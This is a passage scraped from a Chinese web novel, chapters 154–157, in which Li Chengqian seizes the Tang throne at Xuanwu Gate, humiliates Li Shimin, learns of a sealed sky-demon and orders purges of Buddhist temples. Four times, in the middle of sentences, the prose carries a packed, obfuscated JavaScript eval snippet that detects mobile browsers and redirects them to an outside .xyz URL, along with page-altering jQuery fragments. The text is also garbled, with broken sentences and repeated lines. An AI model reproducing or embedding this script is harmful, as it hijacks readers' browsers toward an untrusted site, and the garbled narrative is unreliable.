是啊。 你以为自己代表的是人间正统,是天子秩序。 可结果呢? 人家根本不跟你玩这套。 人家要战的,是天! 你这点凡俗的权柄,在人家眼里,算个屁啊! 李世民的身体,晃了晃,再次瘫软了下去,他靠着冰冷的城垛,眼神涣散,彻底失去了所有的精气神。 他知道,一切都结束了。 他李世民的时代,彻底结束了。 就在玄武门前这片压抑得让人窒息的氛围中,一道身影,快步从皇城深处奔来。 来人身披金甲,正是禁军统领李君羡。 他穿过人群,无视了那些瘫软在地的文武百官,也无视了那个已经疯癫的皇帝,径直来到城楼之下。 在所有人惊疑不定的目光中,李君羡对着城楼上的李承乾,单膝跪地,声如洪钟。 “启禀殿下!” 李承乾的目光,从失魂落魄的酒剑仙身上移开,落到了李君羡的身上,眼神中古井无波。 “说。” 李君羡深吸了一口气,他知道,他接下来要说的话,将会在这个早已混乱不堪的玄武门,再投下一颗重磅**。 “遵殿下之令,三司会审长安僧侣一案,已连夜审结!” “长安城内,大小寺庙一百零八座,僧侣三万余人,已全部清查完毕!” 李君羡抬起头,目光扫过城楼上那些面色惨白的文武百官,最后,落在了那个失魂落魄的帝王身上。 他的声音,陡然拔高,充满了毫不掩饰的,冰冷的愤怒! “经查实,长安各寺庙,利用百姓信众之虔诚,广收香火钱、布施钱,数额之巨,触目惊心!” “而这些钱财,每年……有七成,都通过各种隐秘渠道,流入了……陛下的……私库!” “每年……有七成,都通过各种隐秘渠道,流入了……陛下的……私库!” 李君羡的话,每一个字都像是一记重锤,狠狠地砸在玄武门前每一个人的心上! 轰——! 整个玄武门,瞬间炸了锅! 如果说,之前李承乾弑兄囚父,是皇权内部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277567|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血腥斗争,虽然残酷,但终究还在众人可以理解的范畴之内。 那么李君羡此刻揭露的,则是动摇国本的,最无耻,最卑劣的背叛! 皇帝! 大唐的天子! 那个被万民敬仰,被文武百官辅佐,开创了“贞观盛世”的李世民,竟然……竟然在背地里,和那些被太子殿下称为“毒瘤”的佛门僧侣勾结在一起,像个最贪婪的硕鼠一样,疯狂地窃取着属于百姓的,那一点点微薄的信仰和血汗钱! 之前,还是猜测,甚至怀疑是诬陷。 现在三堂会审结束,证据确凿。 僧侣们借贷,贩卖女子最大的金主,就是李世民。 这是什么行为? 这简直比强盗还无耻! 城楼之上,那些刚刚还在为李世民的倒台而感到兔死狐悲的文武百官,此刻一个个都傻眼了。 他们呆呆地看着那个瘫坐在地,面如死灰的皇帝,眼神里充满了无法理解的荒谬和……恶心。 魏征的身体,剧烈地颤抖了起来。 他一生以直言敢谏为己任,不止一次地劝谏李世民要节俭,要爱民,要亲贤臣远小人。 李世民每次都从善如流,表现得像个千古明君。 魏征也一直以为,自己辅佐的,是一位虽有小错,但大节无亏的圣主。 可现在,现实却给了他一记响亮的耳光! 什么狗屁的圣主明君! 合着自己在这边苦口婆心地劝他省点钱,别劳民伤财。 他那边却背着所有人,用最卑劣的手段,从老百姓的口袋里,大把大把地捞钱! 而且捞的,还是香火钱! 那是普通百姓,省吃俭用,甚至是从牙缝里挤出来,为了给家人祈福,为了求一个来世安康的最后一点希望! 他怎么敢?! 他怎么能这么无耻?! 魏征只觉得一股热血直冲脑门,他指着李世民,嘴唇哆嗦着,一句话也说不出来。 他感觉自己这一生的辅佐,这一生的直谏,都成了一个天大的笑话! 房玄龄和杜如晦,也是面面相觑,从对方的眼中,看到了同样的震惊和失望。 他们是宰相,是百官之首,自以为对帝国的财政了如指掌。 第154章 李世民再无翻身的底牌! 可他们做梦也想不到,在他们眼皮子底下,竟然还存在着这么一个巨大的,由皇帝亲自掌控的,肮脏的钱袋子! 难怪! 难怪每次国库吃紧,需要用钱的时候,这位陛下总能不痛不痒地从内帑里挤出一点来,以示与国同休。 当时他们还感动得热泪盈眶,以为陛下是何等的深明大义。 现在看来,那不过是从他那座金山里,抠出来的一点点金沙罢了! 而城楼之下,那两位刚刚被李承乾的“战天之道”击溃了道心的老者,孔伯渊和李道玄,此刻的表情,更是精彩到了极点。 李道玄还好一些,他修的是太上忘情,更在乎的是李氏的江山社稷。李世民的个人品德如何,他虽然也感到脸上无光,但还不至于让他道心再次崩溃。 可衍圣公孔伯渊,却感觉自己像是被人当众扒光了衣服,扔在了大街上! 羞辱! 无与伦比的羞辱! 就在不久之前,他还在为了维护“君臣父子”的礼法,为了维护李世民这个“正统天子”的地位,不惜燃烧儒家千年的气运,与李承乾和三千蜀山剑仙对抗! 他口口声声,指责李承乾是“乱臣贼子”,是“魔头”。 可结果呢? 他拼死维护的“正统天子”,背地里却是个窃国大盗! 他所捍卫的“礼法”,成了一个天大的笑话! 他孔伯渊,天下儒生之首,竟然为了这么一个卑劣无耻的小人,赌上了整个儒家的道统! “噗——!” 孔伯渊再也压抑不住心中的激愤和羞愧,一口老血,猛地喷了出来,将身前的土地,染得一片猩红。 他的身体,比之前被李承乾击败时,还要萎靡。 那是心气,彻底散了。 然而,此刻最痛苦,最羞愤的,不是别人,正是事件的中心,那个曾经高高在上的帝王——李世民! 当李君羡的话音落下的瞬间,李世民那本已涣散的眼神,骤然收缩! 他猛地抬起头,死死地盯着李君羡,那眼神,像是要将他生吞活剥! “你……你胡说!” “一派胡言!你这是污蔑!是构陷!” 李世民发出了歇斯底里的咆哮,他挣扎着想要站起来,却因为身体太过虚弱,又重重地摔了回去。 “朕……朕乃天子!富有四海!岂会贪图那区区香火钱?!” “李君羡!你这个叛徒!是你!一定是你和那个孽子串通好了,来污蔑朕!来败坏朕的名声!” 他疯了一样地辩解着,否认着。 可是,他的声音,是那么的虚弱,那么的苍白。 在场的人,没有一个是傻子。 李君羡是禁军统领,是他的心腹。如果不是掌握了铁证,他怎么敢在这种场合,说出这种足以诛九族的话? 更何况,李承乾,那个已经掌控了一切的怪物,需要用这种手段来败坏他的名声吗? 他需要吗? 根本不需要! 所以,这是真的。 李世民,真的做了。 所有人的目光,都像刀子一样,刮在他的身上。 那目光里,有鄙夷,有不屑,有恶心,有失望…… 李世民感觉自己的脸,火辣辣地疼,像是被人用烧红的烙铁,狠狠地印在了上面。 他完了。 之前,他只是输掉了权力,输掉了江山。 可现在,他连作为一个“人”的,最后的尊严和体面,都输得一干二净! 他将永远地,被钉在历史的耻辱柱上,成为一个被后世唾骂的,贪婪无度的昏君! 这个打击,比杀了他,还要让他难受! 玄武门前,所有人的目光都聚焦在那个状若疯魔、歇斯底里地咆哮着的李世民身上。 但有一个人,他的关注点,却完全不在这里。 酒剑仙。 他依旧颓然地坐在地上,抱着那半截断剑。 李君羡的出现,以及那番惊天动地的话,他都听到了。 但他没有任何反应,仿佛那一切都与他无关。 他的世界,早已在李承乾的“战天之剑”下,彻底崩塌。 他的道,碎了。 他的剑,断了。 他现在,只是一个失去了所有意义,连自己是谁都不知道的……酒鬼。 战天…… 原来,这才是真正的道吗? 将这腐朽的天地,这不公的秩序,这虚伪的人间,统统砸碎,然后,再创造一个全新的世界? 而自己呢? 自己这百年,都在做什么? 游戏人间,逍遥自在? 守护人间正道? 酒剑仙的嘴角,勾起了一抹比哭还难看的笑容。 他想起了自己刚刚那一剑。 剑名“人间”。 他将自己百年间,在红尘俗世中看到的一切,感受的一切,都融入了那一剑。 他看到了老农的辛劳,书生的落魄,少女的期盼,士兵的悲壮…… 他以为,自己懂了人间。 他以为,自己的剑,代表的就是这芸芸众生,就是这片大地最真实的声音。 所以,他要用这一剑,来点醒李承乾这个“魔头”。 他要告诉他,人间,不是可以随意摆布的棋盘,苍生,也不是可以随意牺牲的棋子。 他要守护这片人间,守护这里的每一个人,守护这人间的“秩序”。 那个名为“天子”的秩序锚点。 所以,当李世民用那可笑的权柄来命令他时,他跪了。 他不是跪给李世民那个人。 他是跪给了“天子”这个身份,跪给了他所代表的,那份维系着人间运转的“正统”。 他用自己的行动,向李承乾宣示:看,这就是人间秩序,就连我,也要敬他三分!而你,却要将他打碎! 现在想来…… “哈哈……哈哈哈哈哈哈!” 酒剑仙突然放声大笑了起来。 他笑得前仰后合,笑得眼泪都流了出来。 那笑声,充满了无尽的悲凉,无尽的自嘲。 周围的人,都被他这突如其来的笑声,吓了一跳。 就连还在咆哮的李世民,都停了下来,愕然地看着他。 “我真是个……天大的傻子!” 酒剑仙笑着,喃喃自语。 “我他妈就是个笑话!” “一个活了一百年的……天大的笑话!” 他守护人间? 他守护个屁! 他拼死守护的那个“天子”,那个“人间秩序的锚M点”,背地里,却在像个吸血鬼一样,疯狂地吸食着这片人间的血液! 他用老农的辛劳,书生的不甘,少女的期盼,来铸就自己的剑。 可他守护的那个王八蛋,却在把这些人的血汗钱,装进自己的口袋! 这是何等的讽刺?! 这是何等的……荒谬?! 他的“人间”一剑,在这一刻,显得那么的苍白,那么的可笑。 他以为自己懂了人间。 原来,他懂个屁! 他连自己守护的到底是个什么玩意儿,都没搞清楚! 他还有什么资格,去教训李承乾? 他还有什么脸面,去谈什么“守护”? 酒剑仙的笑声,渐渐停了。 他缓缓地,抬起了头。 那双原本因为道心破碎而变得浑浊不堪的眸子,此刻,却被一种难以言喻的,混杂着羞愧、愤怒、与醒悟的复杂光芒所填满。 他的目光,越过了所有人,落在了那个从始至终,都只是静静地看着这一切的黑衣太子身上。 他终于明白了。 他终于明白,为什么李承乾在接了他那“人间”一剑后,会说出那三个字—— “太弱了。” 是啊。 太弱了。 自己那建立在虚伪和谎言之上的“人间”,在人家那要砸碎一切,重塑乾坤的“战天”面前,可不就是太弱了吗? 自己就像一个守着一坨屎,还把它当成宝贝的傻子。 而人家,早就看透了这坨屎的本质,准备连着茅坑一起给掀了! 孰高孰下,一目了然。 酒剑仙缓缓地,从地上站了起来。 他扔掉了手中那半截断剑,仿佛扔掉了一段可笑的过去。 他整理了一下自己那身破旧的衣衫,动作,比之前对李世民行礼时,还要郑重。 然后,在所有人不敢置信的目光中。 他对着城楼上的李承乾,深深地,弯下了腰,行了一个大礼。 这一拜,不是臣子对君王。 而是一个……输得心服口服的求道者,对一个走在了自己前面的,真正的“道”的尊重。 “太子殿下……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277568|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒剑仙的声音,沙哑,却无比的清晰。 “贫道……错了。” 酒剑仙这四个字,比之前李君羡的万言指控,还要来得震撼。 如果说,李君羡的报告,是彻底摧毁了李世民的“德”。 那么酒剑仙这一拜,这一句认错,则是彻底碾碎了旧秩序,最后的那一点“理”。 他是谁? 他是酒剑仙!是游戏人间百年的传奇!是连蜀山掌教都要敬畏的存在!是刚刚才被李世民当成救命稻草的“仙人”! 他代表的,是一种超脱于凡俗权柄之上的,更高的“道”与“理”。 可现在,这个代表着更高“道理”的人,却对着那个众人眼中的“魔王”,低下了他高傲的头颅,亲口承认,自己错了。 这说明什么? 这说明,李承乾所做的一切,不仅在“力”上,碾压了旧秩序。 在“理”上,也同样,获得了最终的胜利! 他,才是对的! 那些反对他的人,从衍圣公,到李氏老祖,再到这位酒剑仙,全都是错的! 这个认知,像是一把无形的铁锤,狠狠地砸在了城楼上那些文武百官的天灵盖上。 他们最后的,那点可笑的坚持和幻想,在这一刻,轰然倒塌。 完了。 彻底完了。 连仙人都低头了,他们这些凡人,还挣扎个什么劲儿? “唉……” 一声长长的叹息,从魏征的口中发出。 他看着那个一身玄衣,负手而立的年轻太子,又看了看那个已经彻底傻掉的李世民,和那个低头认错的酒剑仙。 他知道,大势已去,无可挽回。 不,或许,这才是真正的“大势所趋”。 一个全新的,他们无法理解,却又不得不接受的时代,已经到来了。 魏征缓缓地,走出了队列。 他脱下了头上的官帽,双手捧着,走到了李承乾的面前。 他没有跪下。 作为大唐最有骨气的谏臣,他有自己的骄傲。 但他深深地,弯下了腰。 “老臣魏征,请太子殿下……登临大宝,重塑乾坤!” 他的声音,苍老,却无比的清晰。 这,是他的选择。 他选择,为了天下苍生,为了这个国家,向这个他看不懂,但却拥有着无限可能的年轻人,献上自己的忠诚。 魏征的动作,像是一个信号。 房玄龄和杜如晦对视了一眼,都从对方的眼中,看到了一丝苦涩和释然。 他们也走上前来,摘下官帽,躬身行礼。 “臣房玄龄,请太子殿下登基!” “臣杜如晦,请太子殿下登基!” 有了三位宰相的带头,剩下的文武百官,哪里还敢有半分犹豫? “扑通!” “扑通!” …… 一片片的人,如同被割倒的麦子,齐刷刷地跪了下去。 “臣等,请太子殿下登基!” “请太子殿下登基,重定社稷!” 山呼海啸般的声音,在玄武门城楼上响起。 这,代表着大唐整个文官系统,彻底臣服! 城楼之下,衍圣公孔伯渊,看着眼前这一幕,那张惨白的脸上,露出了无尽的悲凉。 他知道,旧的时代,真的结束了。 他所捍卫的“礼法”,他所坚守的“道义”,都随着这一片跪倒的身影,被扫进了历史的垃圾堆。 他输了。 输得一败涂地。 他慢慢地闭上了眼睛,两行老泪,从眼角滑落。 罢了……罢了…… 天道已变,非人力可挽。 为了儒家千年的传承,为了天下无数读书人的性命…… 他手中的鳩杖,“哐当”一声,掉在了地上。 这位一生宁折不弯的儒家之首,在这一刻,对着那个他眼中的“魔王”,缓缓地,跪了下去。 “山东孔氏……叩见新君……” 他的额头,重重地磕在了那片被鲜血浸染的土地上。 这一跪,跪碎了儒家千年的傲骨。 也代表着,旧时代最后一块基石,轰然倒塌。 一旁的李道玄,看到孔伯渊都跪了,心中最后的一丝挣扎,也烟消云散。 他长叹一声,也跟着,弯下了膝盖。 第155章 蜀山清微道长的请求 “陇西李氏,叩见陛下。愿为陛下,赴汤蹈火,在所不辞!” 至此,玄武门前,所有反对李承乾的力量,无论是军事上的,还是道义上的,全部,土崩瓦解! 李承乾静静地看着下方跪倒的一片,眼中没有一丝一毫的喜悦。 征服他们,从来不是他的目的。 他们,只是他通往最终目标路上,必须搬开的绊脚石而已。 现在,石头搬开了。 他的目光,越过众人,投向了那更加遥远的,被黑夜笼罩的天地。 他的棋盘,从来就不只是这座长安城。 玄武门之变,到此,大局已定。 玄武门前,万籁俱寂。 无论是城楼上的文武百官,还是城楼下的儒家之首、李氏老祖,亦或是那位刚刚明悟了什么的酒剑仙,所有人都跪伏或低头,用最谦卑的姿态,等待着新王的裁决。 李承乾的目光,缓缓扫过每一个人。 他的眼神,依旧是那样的平静,那样的漠然,仿佛眼前这足以载入史册的场景,不过是一件微不足道的小事。 他首先看向的,是那个已经彻底疯癫,瘫坐在角落里,嘴里还在胡乱念叨着的李世民。 对于这个名义上的父亲,这个曾经的千古一帝,李承乾的眼中,没有恨,也没有怜悯,只有一片纯粹的漠然。 “你杀了我!有本事你杀了朕!” 李世民嘶吼着,挣扎着,却被两名禁军死死地架住,拖了下去。 他那绝望而又怨毒的吼声,在玄武门的上空,久久回荡,却再也引不起任何人的注意。 处理完李世民,李承乾的目光,转向了以魏征为首的文武百官。 “都起来吧。” “谢陛下!” 众人战战兢兢地站起身,低着头,不敢与他对视。 “从今日起,孤登临大宝,年号,‘开元’。”李承乾的声音,不容置疑。 “开元……”魏征等人心中一凛。 开创一个全新的纪元吗?好大的气魄! “前朝旧事,孤既往不咎。”李承乾继续说道,“尔等官职,暂且不变。但是……” 他的声音,陡然一冷。 “孤的朝堂,不需要派系之争,不需要阳奉阴违,更不需要那些虚伪的繁文缛节。” “孤需要的,是绝对的忠诚,和绝对的效率。” “孤的旨意,颁布下去,你们要做的,只有一件事——执行!不折不扣地执行!” “谁,若是办不到……”李承乾的眼中,闪过一丝骇人的杀机,“或者,不想办。现在,就可以站出来,孤,会很体面地,送他上路。” 话音落下,满朝文武,噤若寒蝉,一个个把头埋得更低了,生怕被这位新君注意到。 开玩笑,站出来? 谁敢? 那是嫌自己命长了吗? 看到无人反对,李承乾满意地点了点头。 他的目光,又转向了城下的孔伯渊和李道玄。 “衍圣公,李老祖,你们也起来吧。” “……谢陛下。” 两人艰难地从地上爬起,神情复杂。 “孤要你们,为孤的新大唐,培养出最忠诚的臣子,最顺服的百姓。你们要告诉他们,君,为天。君之意志,即是天理!” “你……”孔伯渊的脸色,瞬间变得惨白。 这是……篡改经义!这是要将儒家,彻底变成皇权的喉舌和工具! 这比杀了他们,还要让他们难受! “你可以拒绝。”李承乾的眼神,冰冷刺骨,“孤说过,孤会亲手,将儒家,连根拔起。” 孔伯渊的身体,剧烈地颤抖了起来。 他看着李承乾那不容置疑的眼神,他知道,对方不是在开玩笑。 一边是道统的扭曲,一边是道统的灭绝。 他,没得选。 “……老臣,遵旨。” 孔伯渊像是被抽干了所有的力气,他闭上眼睛,仿佛瞬间苍老了几十岁。 李承乾不再理他,又看向李道玄。 “李氏宗族,孤,也会善待。” “但从今往后,李氏,只是大唐的李氏,是孤的李氏。再没有什么所谓的‘太上道’,可以凌驾于皇权之上。” “宗族之内,所有资源,所有高手,都必须登记在册,听凭朝廷调遣。” “我李氏的江山,不需要第二个声音。” 李道玄的心,在滴血。 这等于,是将李氏宗族数百年的积累,全部上交。 但他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277569|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样没得选。 “……臣,遵旨。” 此刻,城楼之上,只剩下了寥寥数人。 李承乾,清微道长和五大长老,以及那个抱着断剑,一直沉默不语的酒剑仙。 “清微道长。” 李承乾转过身,看向这位来自蜀山的掌教,他的眼神,终于不再是那种俯瞰众生的漠然,而是多了一丝平等的审视。 “现在,你可以告诉孤,关于那座塔,关于那场劫难,所有的一切了。” 他虽然通过某种方式,预知到了大劫的存在,并以此为目标,制定了自己所有的计划。 但对于这其中的细节,他知道的,并不比任何人多。 而蜀山,作为镇守锁妖塔数千年的宗门,无疑是这个世界上,最了解真相的人。 “是,陛下。” 清微道长对着李承乾,再次行了一礼。 虽然李承乾已经登基,但他依旧以道号自称,显然是想表明,蜀山与皇权之间,是一种合作,而非从属的关系。 李承乾看懂了,但他并不在意。 他要的,只是结果。 清微道长整理了一下思绪,神情变得无比凝重。 “陛下可知,这方天地,为何会有修行者的存在?” 他没有直接回答李承乾的问题,反而问了另一个,看似毫不相干的问题。 李承乾眉头微挑,示意他继续说下去。 清微道长叹了口气,缓缓道出了一个惊天的秘闻。 “其实,在数万年前,这片神州大地,本是没有灵气的。凡人,生老病死,不过百年光阴,与蝼蚁无异。” “直到有一天,‘祂’来了。” 清微道长指了指天。 “‘祂’是天外之魔,是纯粹的毁灭意志的化身,陛下之前所见的天妖皇,不过是‘祂’当年降临时,散逸出的一丝气息所化。” 这个消息,让李承乾的瞳孔,也是猛地一缩。 天妖皇,那足以让仙人都为之陨落的恐怖存在,竟然,只是一丝气息所化? 那真正的“祂”,又该是何等的恐怖? 清微道长拜道:“请殿下以天下之力应对,以保天下太平!” 正在此时,一道流光横空现世。 众人抬起头,见到来人,惊呆在当场! 第156章 魔尊重楼破锁妖塔,取魔剑! 一道流光,转瞬之间,抵达玄武门上。 赫然是蜀山长老。 “掌门,不好了,重楼破开锁妖塔,取走了魔剑!” “锁妖塔封印破碎!” 清微道长神情大变! “魔尊重楼!” “你们五人速速返回蜀山,务必重新封印锁妖塔!” “是掌门!” 蜀山五位长老,返回蜀山。 清微道长叹了口气。 那真正的“祂”,又该是何等的恐怖? 清微道长苦笑一声,继续说道:“‘祂’的降临,撕裂了这方世界的壁垒,带来了足以毁灭一切的末日。但也同样,带来了外界的‘灵气’。” “上古之时,有大神通者,不忍见生灵涂炭,于是燃烧自己的神魂,以神州龙脉为基,铸就了‘锁妖塔’,将‘祂’的主体,**在了异次元的夹缝之中。但‘祂’的力量太过强大,无时无刻不在侵蚀着封印,污染着这方世界。” “于是,那些大神通者,便将修行之法,传于世人。希望后人,能够借助‘灵气’,不断变强,一代代地加固封印,守护这片天地。” “所以,我辈修士,从诞生的那一刻起,就只有一个使命——” 清微道长的目光,灼灼地看着李承乾。 “守护封印,对抗天魔!” “只可惜……”他话锋一转,充满了无奈与悲哀,“岁月流逝,人心易变。后世的修行者,渐渐忘记了这份使命。他们开始为了长生,为了权柄,为了私欲而修行。更有甚者,如那佛门,打着普度众生的旗号,实则是在窃取人间气运,加速龙脉的腐朽,从根本上,动摇着封印的根基。” “百年前,贫道的师尊,上一代蜀山掌教,便已察觉到锁妖塔异动,龙脉衰败之势,已无可挽回。他推演天机,算到百年之后,大劫将至,世界将倾。” “唯一的生机,在于人间。” 清微道长的眼神,再次变得狂热起来。 “在于一位应劫而生,身负大气运,拥有斩断一切旧日因果之魄力的……人皇!” “他,将以雷霆手段,扫清寰宇,重新凝聚这片天地间,最本源,最纯粹的力量——人道愿力!” “然后,以这股力量,重塑龙脉,再造封印!为这方世界,续命万年!” “而这个人……” 清微道长看着李承乾,一字一顿地说道。 “就是陛下您!” “所以,蜀山,才会不惜一切代价,助陛下成就大业。因为,助您,就是救世!” 一番话说完,清微道长和五大长老,齐齐对着李承乾,再次深深一揖。 “请陛下,以苍生为念,行神明之事,救此界于水火!” 李承乾静静地听完,没有说话。 一旁的李世民心中,却掀起了惊涛骇浪。 原来,是这样。 原来,李承乾要面对的,不仅仅是一个天妖皇,而是一个更加恐怖的,来自天外的魔头。 原来,李承乾要做的,不仅仅是当一个皇帝,而是要成为,拯救这个世界的……人皇! 难怪。 难怪他的道,会是那样的霸道,那样的决绝。 “孤,明白了。” 良久,李承乾缓缓开口。 他的眼中,没有恐惧,没有退缩,只有一股更加强盛的,要将这天都燃烧起来的,无上战意! “既然天命在孤。” “那孤,便接下这天命!” “不就是天外之魔吗?” “孤,接着便是!” “孤,便接下这天命!” 李承乾的声音,平淡,却带着一种足以让天地都为之动容的决绝。 清微道长和五大长老,听到这句话,一个个激动得浑身颤抖。 他们赌对了! 这位应劫而生的人皇,没有被这惊天的秘闻吓倒,反而激起了更强的战意! 有此君在,何愁大劫不平! “请陛下示下!我蜀山上下,三千弟子,愿为陛下马前卒,赴汤蹈火,在所不辞!”清微道长再次躬身,姿态放得更低了。 之前,他们是合作。 而现在,他们是臣服。 因为他们知道,从这一刻起,李承乾所背负的,是整个世界的命运。 他,就是这片天地间,唯一的希望。 “很好。” 李承乾点了点头。 他知道,时间紧迫。 按照清微的说法,封印最多只能再撑一年。 他必须在一年之内,完成对整个帝国的改造,凝聚起足以对抗天魔的力量。 这,是一个不可能完成的任务。 但对于李承乾来说,这世上,就没有“不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284696|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能”这三个字。 他转过身,重新看向那座已经在他脚下颤抖的长安城。 他的眼中,没有丝毫的温情,只有如同精密机械般的冰冷与理智。 他开始下达,作为“开元皇帝”的第一道道旨意。 声音,响彻整个玄武门。 “传孤旨意!” “第一,命神策军、不良人,接管长安城防,全城**!凡有作乱者,妖言惑众者,不听号令者,格杀勿论!” 这是稳定。 他要用最铁血的手段,在最短的时间内,将这座刚刚经历过巨变的帝都,彻底掌控在自己手中。 “第二,命三司会同,即刻清查天下佛寺!所有庙产,一律充公!所有僧侣,一律还俗,编入户籍,按律纳税!凡有反抗者,以谋逆论处!” 这是收权,也是收钱。 佛门这颗盘踞在帝国身上数百年的巨大毒瘤,是时候,连根拔起了!他们侵占的土地,他们搜刮的财富,他们逃避的赋税,都将成为李承乾新政的第一桶金。 “第三,命户部尚书,即刻颁行‘均田令’!将所有从佛寺、门阀手中收缴的土地,全部分发给天下无地、少地的百姓!凡大唐子民,男子年十六者,皆可授田十六亩!” 这是收心。 他要用最直接,最有效的方式,将天下千千万万的底层百姓,彻底绑上自己的战车。 谁给了他们土地,谁给了他们活路,他们,就会用最狂热的信仰,来回报谁! 而这,正是李承乾最需要的,“人道愿力”的来源! “第四,命兵部尚书,于全国范围,征召青壮,扩军三百万!以神策军为骨干,组建‘天策府’!孤,要一支战无不胜,攻无不克的铁血雄师!” 这是力量。 凡人的军队,或许无法对抗妖魔。 但他们,是李承乾意志的延伸,是维护他新政推行的保障! “第五……” 李承乾的目光,转向了清微道长。 “命蜀山,为大唐国教!清微道长,为大唐国师!” “蜀山需派遣长老弟子,入主天策府,传授军中将士修行之法,并以道法,加持兵器、铠甲。孤,要打造一支,足以与妖魔抗衡的……修士大军!” 一道道旨意,从李承乾的口中,清晰而又冰冷地颁布出来。 第157章 玄武门前,收服酒剑仙 每一道,都是那么的惊世骇俗! 每一道,都是在对旧有的秩序,进行最彻底的颠覆! 清查佛寺,这是要与天下信徒为敌! 均分田地,这是要将世家门阀的根基,彻底挖断! 扩军三百万,这更是要将整个帝国的资源,都压在战争之上! 而让蜀山入世,建立修士大军,这更是闻所未闻,想都不敢想的事情! 若是换了任何一个皇帝,敢下达其中任何一道旨意,恐怕都会立刻引得天下大乱,烽烟四起。 但现在,说这些话的,是李承乾。 那个一言便可让十万大军倒戈,一念便可让圣人俯首,一剑便可让仙人道心破碎的……开元皇帝! 所以,无人敢反对。 清微道长和五大长老,听着这一道道旨意,心中更是掀起了滔天巨浪。 他们看着李承乾,眼神中的敬畏,已经达到了顶点。 他们终于明白,为什么天命会选择他。 这份魄力,这份手段,这份不将一切规则放在眼里的霸道…… 除了他,这世间,还有谁,能担此重任? “臣等……遵旨!” 清微道长,这一次,是发自内心地,对着李承乾,深深拜服。 他知道,从这一刻起,蜀山,将与这位年轻的帝王,彻底绑在一起。 一荣俱荣,一损俱损。 而一直沉默的酒剑仙,看着这一幕,那双刚刚恢复了一丝神采的眸子,再次变得复杂起来。 他看着李承乾,这个刚刚才击溃了他道心的年轻人,此刻,正以一种他无法想象的姿态,开始转动整个天下的命运齿轮。 他忽然觉得,自己之前对李承乾的那些指责,是多么的幼稚可笑。 什么“你不懂苍生”,什么“你的道是控制”。 在真正的灭世天劫面前,在“活下去”这个最根本的需求面前,谈论这些,还有意义吗? 或许…… 或许,这个疯子,真的能创造一个奇迹? 开元新政,如同一场席卷天下的风暴,以长安为中心,向着整个大唐帝国,疯狂地扩散开来。 李承乾的意志,通过一道道冰冷的圣旨,化作了新朝最锋利的刀。 第一刀,砍向了佛门。 神策军和不良人,如同虎狼一般,冲进了长安城内,乃至大唐各州府的每一座寺庙。 没有劝说,没有谈判。 只有冰冷的刀锋和不容置疑的命令。 “陛下有旨,清查庙产,僧侣还俗!” 无数平日里养尊处优,受尽信徒供奉的僧人,被从禅房中拖了出来,他们身上的僧袍被粗暴地扒下,换上了象征着囚犯的赭衣。 他们惊恐,他们咒骂,他们高呼“佛祖”之名。 但回应他们的,只有冰冷的刀柄和无情的锁链。 一些寺庙,依仗着自己信徒众多,或者与地方豪强有所勾结,企图反抗。 但他们的反抗,在绝对的力量面前,显得那么的可笑。 神策军的铁蹄,踏碎了宏伟的庙门。 不良人的绣春刀,染红了庄严的佛堂。 “凡反抗者,以谋逆论处,格杀勿论!” 这是陛下的旨意。 于是,一颗颗往日里高高在上的光头,滚落在地,将佛前的青灯,染成了血色。 无数的金银财宝,无数的田契地契,从幽深的密室中,被一箱箱地抬了出来,堆积如山,晃得人睁不开眼。 这些财富,足以让大唐的国库,充盈十倍! 百姓们,看着这一幕,心情是复杂的。 他们中的许多人,曾经也是这些寺庙虔诚的信徒。 但当他们看到,那些平日里慈眉善目的“高僧”,在被抄家时,露出的怨毒和贪婪的嘴脸。 当他们看到,从那金碧辉煌的佛像背后,搜刮出的,足以让他们吃上几辈子都吃不完的财富时。 他们心中的那点信仰,动摇了。 尤其是,当他们听说,这些财富,有七成,都是要上供给那个已经被废黜的太上皇时。 他们的信仰,彻底崩塌了。 原来,他们所拜的,不是佛。 而是一群,披着袈裟的强盗。 第二刀,砍向了世家门阀。 “陛下有旨,颁行均田令!凡侵占民田者,隐匿人口者,一经查实,抄家灭族!” 